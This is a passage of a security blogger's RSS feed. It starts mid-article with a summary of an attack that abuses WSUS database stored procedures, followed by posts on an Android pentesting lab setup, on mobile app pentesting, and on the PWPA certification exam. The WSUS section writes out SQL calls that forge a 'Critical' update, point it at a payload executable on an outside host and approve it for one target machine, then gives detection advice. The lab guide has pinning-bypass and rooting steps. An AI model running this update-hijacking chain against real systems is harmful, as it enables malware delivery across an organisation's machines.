order, with the right arguments.” David pulled the procedure definitions with:</p><pre>SELECT<br>    SCHEMA_NAME(schema_id) AS SchemaName,<br>    name AS ProcedureName,<br>    OBJECT_DEFINITION(object_id) AS Definition,<br>    create_date, modify_date<br>FROM sys.procedures<br>ORDER BY SchemaName, ProcedureName;</pre><p>He built on the procedure names in Phil Keeble’s SharpWSUS and the fragment-type work from Romain Coltel and Yves Le Provost’s WSUSpendu talk, then filled in the argument details by reading definitions.</p><h3>Building the update from stored procedures</h3><p>The goal is a <strong>bundled</strong> update: a parent container plus a child that carries the real technical detail — applicability rules, install command, and executable name. David notes prerequisite and supersede relationships would require extra enumeration of installed updates, so bundled is the practical choice.</p><p>spImportUpdate imports the update via an UpdateXml blob and returns a revision ID you’ll reuse. The XML defines UpdateID, UpdateType, MaxDownloadSize, the file Digest/DigestAlgorithm, the FileName, and the InstallCommandprogram. Because it’s a bundled update, spImportUpdate gets called twice — parent and child.</p><p>Next comes spSaveXmlFragment, which stores the XML fragments the update references. Three fragment types are required per update: UpdateIdentity, LocalizedProperties, and ExtendedProperties. Parent and child each need all three, so that’s six calls. David confirmed they’re mandatory — skipping them produced malformed XML errors.</p><p>UpdateIdentity is where deployability and prerequisites live. It sets ExplicitlyDeployable=&quot;true&quot; and specifies conditions the client checks before installing:</p><pre>exec spSaveXmlFragment &#39;ecb78a8f-...&#39;,1,1,<br>N&#39;&lt;UpdateIdentity UpdateID=&quot;ecb78a8f-...&quot; RevisionNumber=&quot;1&quot; /&gt;<br>  &lt;Properties UpdateType=&quot;Software&quot; ExplicitlyDeployable=&quot;true&quot; AutoSelectOnWebSites=&quot;true&quot; /&gt;<br>  &lt;Relationships&gt;<br>    &lt;Prerequisites&gt;<br>      &lt;AtLeastOne IsCategory=&quot;true&quot;&gt;<br>        &lt;UpdateIdentity UpdateID=&quot;E6CF1350-C01B-414D-A61F-263D14D133B4&quot; /&gt;<br>      &lt;/AtLeastOne&gt;<br>    &lt;/Prerequisites&gt;<br>    &lt;BundledUpdates&gt;<br>      &lt;UpdateIdentity UpdateID=&quot;a7751c4d-...&quot; RevisionNumber=&quot;1&quot; /&gt;<br>    &lt;/BundledUpdates&gt;<br>  &lt;/Relationships&gt;&#39;,NULL</pre><p>The GUID E6CF1350-C01B-414D-A61F-263D14D133B4 is the <strong>Critical</strong> update category. That matters: WSUS ships a Default Automatic Approval Rule that auto-approves anything categorized Critical or Security. It isn’t enforced by default, and with database access you can approve your own update regardless — but tagging Critical is the kind of detail that makes an update blend in.</p><p>LocalizedProperties carries the Title, Description, and URLs that show up in the WSUS console and in Windows Update on the client, so name it something boring. ExtendedProperties carries the install mechanics — MaxDownloadSize, RebootBehavior, file size, digest, and the InstallCommand Program. David sourced most argument definitions from C:\Program Files\Update Services\Schema\SoftwareDistributionPackage.xsd on the WSUS server.</p><p>Then spSetBatchURL tells WSUS where to fetch the payload, keyed by file digest, writing into tbFile:</p><pre>exec spSetBatchURL @urlBatch =<br>N&#39;&lt;ROOT&gt;&lt;item FileDigest=&quot;y2/wvtpOW/lSqnhTjJoi3xE1EGM=&quot;<br>  MUURL=&quot;http://198.51.100.1:8000/Specter.exe&quot; USSURL=&quot;&quot; /&gt;&lt;/ROOT&gt;&#39;</pre><p>When a client needs the file, WSUS looks up the digest in tbFile and downloads from the MUURL you supplied. spGetFileLocations confirms the mapping stuck.</p><h3>Targeting one machine instead of the whole fleet</h3><p>You don’t want to ship malware to every endpoint. WSUS target groups let you scope delivery. spGetAllTargetGroupslists existing group IDs (including the All Computers parent), spCreateTargetGroup makes a new group with a GUID you generate, spGetComputerTargetByName resolves a hostname to its ComputerID, and spAddComputerToTargetGroup puts the target in your group:</p><pre>EXEC spAddComputerToTargetGroup<br>  @targetGroupID = &#39;a306cf19-2e4f-43e4-a3ee-77554e6afcf6&#39;,<br>  @computerID = &#39;c2328225-de1c-4bd1-b273-2ad93d8ecbd3&#39;;</pre><p>Finally spDeployUpdate approves and assigns the child update to that group. With @isAssigned = 1 it’s approved for install now:</p><pre>EXEC spDeployUpdate @updateID = &#39;ecb78a8f-...&#39;, @revisionNumber = 1,<br>  @actionID = 0, @targetGroupID = &#39;a306cf19-...&#39;,<br>  @isAssigned = 1, @deadline = &#39;2025-10-06 23:59:59&#39;, @adminName = &#39;Administrator&#39;;</pre><p>David’s Part 1 stops here. He notes that payload download nuances and file signature verification are real obstacles covered in Part 2 — so treat the chain above as the delivery mechanism, not a complete “it runs” guarantee.</p><h3>Detection and mitigation</h3><p>The relay depends on the WSUS machine account authenticating to a SQL server you control. Enforce SMB signing and, where possible, channel binding (EPA) on the SQL endpoint so relayed NTLM fails. Coercion tooling like PetitPotam is well-covered — watch for the WSUS machine account making outbound authentication to hosts that aren’t its known database server.</p><p>If you can run WSUS with a WID rather than remote SQL, the network relay target disappears. If you must use standalone SQL, scope the WSUS account’s rights as tightly as WSUS allows and monitor SUSDB for execution of the publishing procedures — spImportUpdate, spSaveXmlFragment, spSetBatchURL, spCreateTargetGroup, spDeployUpdate — from sessions or times that don’t match normal WSUS sync behavior. New target groups, updates whose MUURL points off-network, and approvals attributed to Administrator outside a change window are all worth alerting on. The category is a lie you can’t trust: an update tagged Critical is trivially forged.</p><h3>Sources</h3><ul><li><a href="https://specterops.io/blog/2026/08/05/turning-enterprise-update-servers-into-backdoor-factories-part-1/">https://specterops.io/blog/2026/08/05/turning-enterprise-update-servers-into-backdoor-factories-part-1/</a></li><li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ff357803(v=vs.85)">https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ff357803(v=vs.85)</a></li><li><a href="https://github.com/SpecterOps/MSSQLHound">https://github.com/SpecterOps/MSSQLHound</a></li><li><a href="https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/TAKEOVER/TAKEOVER-1/takeover-1_description.md">https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/TAKEOVER/TAKEOVER-1/takeover-1_description.md</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=365b809f9852" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting up your Android mobile-app pentesting lab — a fast, reliable guide]]></title>
            <link>https://coy0te.medium.com/setting-up-your-android-mobile-app-pentesting-lab-a-fast-reliable-guide-f2627f4fa132?source=rss-7d8bd880addc------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2627f4fa132</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[mobile]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <dc:creator><![CDATA[coy0te]]></dc:creator>
            <pubDate>Tue, 11 Nov 2025 19:52:55 GMT</pubDate>
            <atom:updated>2025-11-11T20:00:34.122Z</atom:updated>
            <content:encoded><![CDATA[<h3>Setting up your Android mobile-app pentesting lab — a fast, reliable guide</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KBw2uR0oMotEgmEb" /><figcaption>Photo by <a href="https://unsplash.com/@redaquamedia?utm_source=medium&amp;utm_medium=referral">Denny Müller</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><blockquote><strong><em>Build a repeatable Android testing environment that lets you move from reconnaissance to exploitation 🛠️📱</em></strong></blockquote><p><strong>TL;DR:</strong><br>Get a fast emulator for quick checks, a rooted real device for deep hooks, and a network proxy + Frida/Objection for runtime instrumentation. This guide walks you from minimal install to advanced tips, with a reproducible checklist and command cheat sheet to copy/paste.</p><h3>Why invest time in your lab?</h3><p>A stable, repeatable environment reduces false positives, speeds investigations, and makes results defensible. With the right setup you can:</p><ul><li>Intercept and analyze HTTPS traffic (and handle pinning when necessary).</li><li>Inspect APKs statically to find exported surfaces and secrets.</li><li>Attach at runtime to manipulate logic, bypass protections, and validate controls.</li><li>Snapshots and backups let you revert quickly and reproduce findings.</li></ul><blockquote><strong><em>Ethics reminder:</em></strong><em> Only test apps you’re authorized to test. Keep written permission.</em></blockquote><h3>What this guide assumes</h3><ul><li>You’re comfortable with the command line (adb, git, pip/npm).</li><li>Host machine: macOS, Linux, or Windows (I recommend macOS/Linux for fewer permission pains).</li><li>Hardware: 16GB RAM minimum (32GB ideal).</li><li>One spare Android device for real-world testing (optional but highly recommended).</li></ul><h3>Core tools (install first)</h3><ul><li><strong>Android Studio</strong> (AVD manager + SDK platform-tools).</li><li><strong>adb &amp; fastboot</strong> (platform-tools).</li><li><strong>Burp Suite</strong> (or <strong>mitmproxy</strong>) for interception.</li><li><strong>Frida</strong> + <strong>frida-server</strong> for runtime instrumentation.</li><li><strong>Objection</strong> (helper wrapper around Frida).</li><li><strong>apktool</strong> (decode/rebuild APKs).</li><li><strong>jadx / JADX-GUI</strong> (decompile APKs).</li><li><strong>MobSF</strong> (optional — automated static &amp; dynamic helper).</li><li><strong>OpenSSL / keytool</strong> (cert conversions).</li></ul><p>Install via your OS package manager where possible (Homebrew / apt / pip / npm).</p><h3>Minimal, repeatable lab layout</h3><ul><li><strong>Host:</strong> Kali/Ubuntu/macOS — developer tools + Burp.</li><li><strong>Emulator:</strong> AVD (x86 Android 10/11) for rapid snapshots.</li><li><strong>Real device:</strong> One rooted phone (Android 8–11 recommended for easier rooting).</li><li><strong>Network:</strong> Isolated VLAN or local hotspot so intercepted traffic doesn’t leak.</li><li><strong>Backups:</strong> Emulator snapshots + device backups (take before unlocking bootloader).</li></ul><h3>Emulator vs real device (short)</h3><ul><li><strong>Emulator (AVD / Genymotion)</strong> — fast, snapshotable, easy to reset. Some apps detect emulators.</li><li><strong>Real device</strong> — realistic; necessary for hardware APIs, SafetyNet, and some anti-emulation checks. Requires rooting or Magisk to get full instrumentation access.<br><strong>Recommended:</strong> Use both. Start on emulator, escalate to a rooted device for deeper testing.</li></ul><h3>Step-by-step lab setup</h3><h3>1) Android Studio + AVD (quick)</h3><ol><li>Install Android Studio. In SDK Manager install <strong>platform-tools</strong> and an <strong>x86 system image</strong> (Android 10 or 11 recommended).</li><li>Create an AVD using the x86 image, enable snapshots (cold boot), and bump RAM to 2–4GB.</li><li>For faster Frida testing, use Genymotion images or a pre-rooted emulator image.</li></ol><h3>2) Prepare a real device</h3><ol><li>Enable <strong>Developer options → USB debugging</strong>.</li><li>Unlock bootloader (device-specific; this often wipes the phone — back up first).</li><li>Flash Magisk to gain root and hide root if needed.</li><li>Verify adb devices shows the device and check architecture with:</li></ol><pre>adb shell getprop ro.product.cpu.abi</pre><h3>3) Proxy setup (Burp)</h3><ol><li>Start Burp; note the listening host/port (e.g., 192.168.1.100:8080).</li><li>Export Burp CA (DER/PEM). Convert if necessary:</li></ol><pre>openssl x509 -inform PEM -in burp_cert.pem -outform DER -out burp_cert.der</pre><p>3.<strong> Emulator:</strong> push CA to system store (requires root/remount):</p><pre>adb root<br>adb remount<br>adb push burp_cert.der /system/etc/security/cacerts/ &amp;&amp; adb reboot</pre><p>4. <strong>Real device:</strong> install CA via Settings → Security → Install from storage (user CA). Note: user CAs are ignored by apps that use strict Network Security Config or pin certificates.</p><p>5. Point device/emulator to proxy:</p><pre># Emulator<br>adb shell settings put global http_proxy &lt;HOST&gt;:8080<br># Or set Wi-Fi proxy via device UI for real devices</pre><h3>4) Install Frida + frida-server</h3><ol><li>Install Frida tools on host:</li></ol><pre>pip install frida-tools frida</pre><p>2. Download the correct frida-server for the device arch and push it:</p><pre>adb push frida-server /data/local/tmp/<br>adb shell &quot;chmod 755 /data/local/tmp/frida-server&quot;<br># Run as root (Magisk or su required)<br>adb shell &quot;su -c /data/local/tmp/frida-server &amp;&quot;<br># Verify<br>frida-ps -U</pre><h3>5) Static + basic dynamic workflow</h3><ul><li>jadx-gui app.apk for quick code reading.</li><li>apktool d app.apk to inspect manifest, resources, and networkSecurityConfig.</li><li>Use Objection for high-level runtime checks:</li></ul><pre>objection --gadget com.example.app explore</pre><h3>Common roadblocks &amp; mitigations</h3><ul><li><strong>User CA ignored:</strong> Apps with strict Network Security Config or debugOnly exceptions may reject user CAs. Options: repack APK to trust user certs, use Frida to hook SSL functions, or attach to process and patch validation at runtime.</li><li><strong>Pinning &amp; native pinning:</strong> Hook Java TLS methods or native libraries with Frida; avoid publishing hooks in reports — describe actions at a high level.</li><li><strong>SafetyNet / Play Integrity:</strong> Apps can refuse rooted devices. Use Magisk + MagiskHide (where viable) or test with unrooted emulator and Frida gadget variants.</li><li><strong>Emulator detection:</strong> Some apps fingerprint emulator artifacts; test on a real device if you can’t progress.</li></ul><h3>Evidence collection &amp; reporting tips</h3><ul><li>Capture Burp requests with timestamps and short summaries (don’t export raw payloads containing secrets).</li><li>Record Frida console output and short screen recordings for dynamic checks.</li><li>In your report include: scope, methodology, tools &amp; versions, environment (AVD image / device model / Android version), reproduction steps (high-level), impact, and remediation. Avoid pasting destructive scripts directly.</li></ul><h3>Final checklist (copy/paste)</h3><ul><li>Written authorization for target.</li><li>Burp CA exported &amp; available.</li><li>Emulator AVD created + snapshot saved.</li><li>Real device backed up (if unlocking bootloader).</li><li>frida-server for device arch pushed &amp; runnable.</li><li>Proxy configured and traffic isolated.</li><li>Logging &amp; evidence folder created.</li></ul><h3>Quick command cheat-sheet</h3><pre># adb basics<br>adb devices<br>adb shell getprop ro.build.version.release<br>adb shell getprop ro.product.cpu.abi</pre><pre># find installed package and pull apk<br>adb shell pm list packages | grep example<br>adb shell pm path com.example.app<br>adb pull /data/app/com.example.app-1/base.apk</pre><pre># frida<br>frida-ps -U<br>frida-trace -U -i &quot;openSSL_*&quot; com.example.app</pre><pre># apktool / jadx<br>apktool d app.apk -o app_src<br>jadx-gui app.apk</pre><pre># set emulator proxy to host (replace IP)<br>adb shell settings put global http_proxy 192.168.1.100:8080</pre><h3>Advanced tips (power user)</h3><ul><li>Use <strong>Frida Gadget</strong> embedded into a rebuilt APK to avoid installing frida-server. Useful when root is unavailable.</li><li>Maintain a sanitized snippets repo of Frida scripts for quick reuse (ssl bypassers, WebView hooks), but don’t include these verbatim in client deliverables.</li><li>Automate environment provisioning with scripts (brew/apt + SDK manager + AVD creation) — I can produce platform-specific setup scripts on request.</li><li>Snapshot AVDs before risky ops and keep a “golden” clean image for comparisons.</li></ul><h3>Closing</h3><p>A pragmatic Android pentest lab is about predictability: small, versioned images, reliable proxies, and a rooted device for when the emulator fails. Start with AVD + Burp, layer on Frida/Objection, then move to a rooted device for everything that needs native or system access.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2627f4fa132" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ What Is Mobile App Pentesting?]]></title>
            <link>https://coy0te.medium.com/what-is-mobile-app-pentesting-2016c840972e?source=rss-7d8bd880addc------2</link>
            <guid isPermaLink="false">https://medium.com/p/2016c840972e</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[mobile]]></category>
            <dc:creator><![CDATA[coy0te]]></dc:creator>
            <pubDate>Wed, 29 Oct 2025 19:09:01 GMT</pubDate>
            <atom:updated>2025-10-29T19:33:09.508Z</atom:updated>
            <content:encoded><![CDATA[<h3>📱🔍 What Is Mobile App Pentesting? A Simple Breakdown (And How It Really Compares to Web App Testing)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ugBveO1N3anYpJQt-q_MTQ@2x.jpeg" /><figcaption>Photo by <a href="http://williamtm.com/">William Hook</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><strong>If you’ve ever done web app pentesting and thought, “Mobile apps can’t be <em>that</em> different…” — you’re in for a surprise. </strong>Mobile apps behave like tiny distributed systems: part on the device, part on the backend, and part hidden inside the app code itself. That’s what makes mobile pentesting both challenging and fun. 🚀</p><p>In this short guide, I’ll break down <strong>what mobile application penetration testing actually is</strong>, the <strong>attack cycle I use on every engagement</strong>, and a quick comparison with traditional web testing so you know where the big differences are.</p><p>Let’s get into it. 👇</p><h3>✅ What Mobile App Pentesting Actually Is</h3><p>Mobile pentesting is the process of testing the security of an application across <strong>three layers</strong>:</p><ol><li><strong>📱 The Client (the mobile app itself)</strong> — the binary, local storage, APIs, WebViews, deep links, permissions.</li><li><strong>📱➡️ OS &amp; Device Layer</strong> — Android components (intents, receivers), iOS schemes, sandboxing, keystore/keychain, jailbreak/root protections.</li><li><strong>☁️ The Backend APIs</strong> — authentication, access control, business logic, data handling.</li></ol><p>To find vulnerabilities, you test how these layers interact — not just individual pieces in isolation.</p><h3>✅ The Mobile Attack Cycle (Simple + Practical)</h3><p>This is the flow I use on most Android/iOS pentests. It mirrors a typical offensive workflow but adds device + binary analysis.</p><h3>1️⃣ Recon &amp; Inventory 🔎</h3><p>Identify platform, grab the APK/IPA, map permissions, pull endpoints via Burp.</p><h3>2️⃣ Build the Testing Environment 🧪</h3><p>Set up emulator, rooted/jailbroken device, Burp proxy, Frida/Objection, MobSF. Confirm traffic interception works.</p><h3>3️⃣ Static Analysis 🧵</h3><p>Decompile the app → search for:</p><ul><li>hardcoded keys</li><li>secrets</li><li>insecure crypto</li><li>exported components</li><li>API endpoints</li><li>hidden features</li></ul><h3>4️⃣ Dynamic/Runtime Testing ⚙️</h3><ul><li>Intercept/tamper requests</li><li>Bypass SSL pinning</li><li>Test auth/session flows</li><li>Inspect local storage (plain-text sensitive data is common)</li></ul><h3>5️⃣ Platform-Specific Attacks 🧩</h3><ul><li><strong>Android</strong>: look for <em>exported components</em> (Activities, Services, Broadcast Receivers, Content Providers) that accept input without proper checks, insecure Intent handling, and weak permission enforcement. These let an attacker interact with the app from other apps or system components. 🔐📲</li><li><strong>iOS</strong>: test <em>custom URL schemes</em>, <em>universal links</em>, and <em>app extensions</em> for insecure handling (e.g., accepting unexpected input or leaking data). Also check Keychain usage and entitlements — wrong config can expose secrets or allow unauthorized access. 🔏🍎</li><li><strong>Both platforms</strong>: check for <strong>insecure network/transport configurations</strong> (ATS/SSL misconfig), <strong>unsafe local file/storage practices</strong> (cached tokens, plaintext files), and <strong>WebView issues</strong> (untrusted content loaded in WebViews, JS bridges exposing native APIs). These are cross-platform mistakes that lead to token theft, data leakage, or remote content exploitation. 🌐🗂️</li></ul><h3>6️⃣ API &amp; Business Logic Testing 🔐</h3><ul><li>auth bypass</li><li>IDOR</li><li>privilege escalation</li><li>weak rate limiting</li><li>broken access control</li><li>insecure tokens</li></ul><h3>7️⃣ Reverse Engineering &amp; Exploitation ⚒️</h3><p>Hook the app (Frida), patch the binary, modify logic, extract secrets, bypass client-side validations.</p><h3>8️⃣ Post-Compromise Scenarios 🎯</h3><p>Show real impact → ATO, data exposure, impersonation, key theft, etc.</p><h3>9️⃣ Reporting &amp; Fixes 📝</h3><p>Clear repro steps + clear remediation. No developer wants a mystery bug report.</p><h3>Mobile vs Web Pentesting: The Real Differences!</h3><h3>⭐ The Attack Surface</h3><ul><li><strong>Web:</strong> Backend + frontend JS</li><li><strong>Mobile:</strong> App binary + device + OS-level components + backend</li></ul><h3>⭐ Tooling</h3><ul><li><strong>Web:</strong> Burp, browser devtools</li><li><strong>Mobile:</strong> Burp + Frida + Objection + MobSF + jadx + device tooling</li></ul><h3>⭐ State Storage</h3><ul><li><strong>Web:</strong> Server-controlled sessions</li><li><strong>Mobile:</strong> Local tokens, caches, files (often sensitive)</li></ul><h3>⭐ Unique Vulnerabilities</h3><ul><li><strong>Web:</strong> XSS, SQLi, CSRF, CORS</li><li><strong>Mobile:</strong> SSL pinning, insecure storage, deep link abuse, intent exploitation, keystore/keychain misuse</li></ul><h3>⭐ Exploit Complexity</h3><ul><li><strong>Web:</strong> Faster, easier iteration</li><li><strong>Mobile:</strong> Requires reverse engineering, OS knowledge, runtime manipulation</li></ul><h3>✅ TL;DR</h3><p>Mobile pentesting = <strong>web testing + client testing + OS testing</strong>.<br>If the app stores tokens, exposes platform features, or embeds logic in the binary, you must test <em>all three layers</em>.</p><p>It’s more work — but also way more rewarding and thats what I love! 🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2016c840972e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I passed the PWPA by TCM Security]]></title>
            <link>https://coy0te.medium.com/how-i-passed-the-pwpa-by-tcm-security-431d80f97d1b?source=rss-7d8bd880addc------2</link>
            <guid isPermaLink="false">https://medium.com/p/431d80f97d1b</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[coy0te]]></dc:creator>
            <pubDate>Thu, 25 Sep 2025 01:41:23 GMT</pubDate>
            <atom:updated>2025-09-25T01:46:14.379Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jIJ3zLLMkmSIu5g2D_erAA@2x.jpeg" /><figcaption>Photo by Gery Wibowo on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>📘 What is PWPA?</h3><p>PWPA stands for <strong>Practical Web Pentest Associate</strong>, a certification developed by TCM Security. Unlike many multiple-choice certifications, PWPA is <strong>100% practical</strong>. You get a vulnerable web application hosted in a private lab environment, a time limit, and are expected to exploit and report vulnerabilities just like a real-world engagement.</p><p>Key things to know:</p><ul><li><strong>Duration</strong>: 24 hours of lab access + 48 hours to submit the report.</li><li><strong>Skills Tested</strong>: OWASP Top 10, enumeration, exploitation, and reporting.</li></ul><h3>🎯 Who Should Take the PWPA?</h3><p>PWPA is perfect if you’re:</p><ul><li>Starting out in web app pentesting.</li><li>Wanting a hands-on challenge that mirrors real-world testing.</li><li>Prepping for bug bounty platforms like HackerOne or Bugcrowd.</li></ul><h3>🛠️ How I Prepared</h3><p>Let’s get into the actual prep path I took.</p><h3>✅ 1. TCM Academy’s PWPA Course</h3><p>This is the official training for the exam and honestly, it’s <strong>one of the best value-for-money courses</strong> out there. It covers:</p><ul><li>OWASP Top 10 vulnerabilities, how to find/exploit them.</li><li>Teaches you how to use tools like Burp Suite, ffuf, SQLMap for web application testing.</li></ul><p><strong>Pro Tip</strong>: Don’t just watch. <strong>Reproduce</strong> everything. Build your muscle memory.</p><h3>🧪 The Exam Experience</h3><p>Once you schedule the exam, here’s what happens:</p><ul><li>You get VPN credentials to access a web app hosted on a private network.</li></ul><p><strong>Your goal is to:</strong></p><ul><li>Find a set number of vulnerabilities (explained in the RoE when starting exam).</li><li>Exploit them (provide proof-of-concept screenshots).</li><li>Document them in a professional report.</li><li>You get 24 hours to complete the lab, and then 48 hours to submit the report.</li></ul><h3>🧠 Tips &amp; Tricks That Helped Me Pass</h3><p>Here’s the good stuff — things I learned the hard way:</p><h3>🕵️ Enumeration is King</h3><p>Enumeration is <strong>where 80% of the vulnerabilities reveal themselves</strong>. In the PWPA exam, your job isn’t just to break things — it’s to find the things <strong>worth breaking</strong>.</p><h4>🔍 What to Enumerate</h4><ol><li><strong>Directories &amp; Files</strong></li></ol><pre>ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.bak,.json</pre><ol><li><strong>Hidden Parameters</strong><br>Param Miner (Burp extension) helps find parameters like ?admin=true or ?user_id=123</li><li><strong>JavaScript Files</strong><br>Look for API routes, hardcoded tokens, and endpoint logic in JS files.</li><li><strong>Headers &amp; Cookies</strong><br>Test headers like X-Forwarded-For, Host, and decode cookies or JWTs for clues.</li></ol><h3>🔍 2. Read Between the Lines</h3><ul><li>Error messages, JS files, HTML comments, cookies — they’re <strong>all clues</strong></li><li>Example: JS file might reveal an API route or hidden parameter</li></ul><h3>🔓 3. Report Like a Pro</h3><ul><li>TCM places <strong>major emphasis on reporting</strong></li><li>Use the PWPA template provided — it’s clean and effective</li><li>Include: Summary, Impact, Steps to Reproduce, Screenshots, and Remediation Advice</li></ul><p><strong>Tip</strong>: Tools like <strong>Obsidian</strong>, <strong>CherryTree</strong>, or even <strong>OneNote</strong> help document while you test.</p><h3>📤 Reporting &amp; Submission</h3><p>After your 24-hour lab time:</p><ul><li>You have 48 hours to finish and submit the report.</li><li>Submit it in <strong>PDF format</strong> via the TCM exam portal.</li><li>Expect results in 1–5 business days (I got mine in 2)</li></ul><h3>🎓 Final Thoughts: Is PWPA Worth It?</h3><p>Absolutely. It is:</p><ul><li><strong>Affordable</strong> (around $30 USD during sales)</li><li><strong>Hands-on</strong></li><li><strong>Respected</strong> in the ethical hacking community</li><li>A stepping stone to more advanced certs like PWPP, BSCP, or eWPTX</li></ul><h3>🧩 TL;DR — PWPA Prep Checklist</h3><p>✅ Complete the official course<br>✅ Practice course labs, literally all you need.<br>✅ Don’t overthink — keep it simple and methodical</p><p>Good luck, and happy hacking! 🐍💻</p><p>If this post helped you, follow me here or on Twitter/X for more cybersec content!</p><p>#PWPA #TCMSecurity #WebAppPentesting #BugBounty #CTF #Cybersecurity</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=431d80f97d1b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>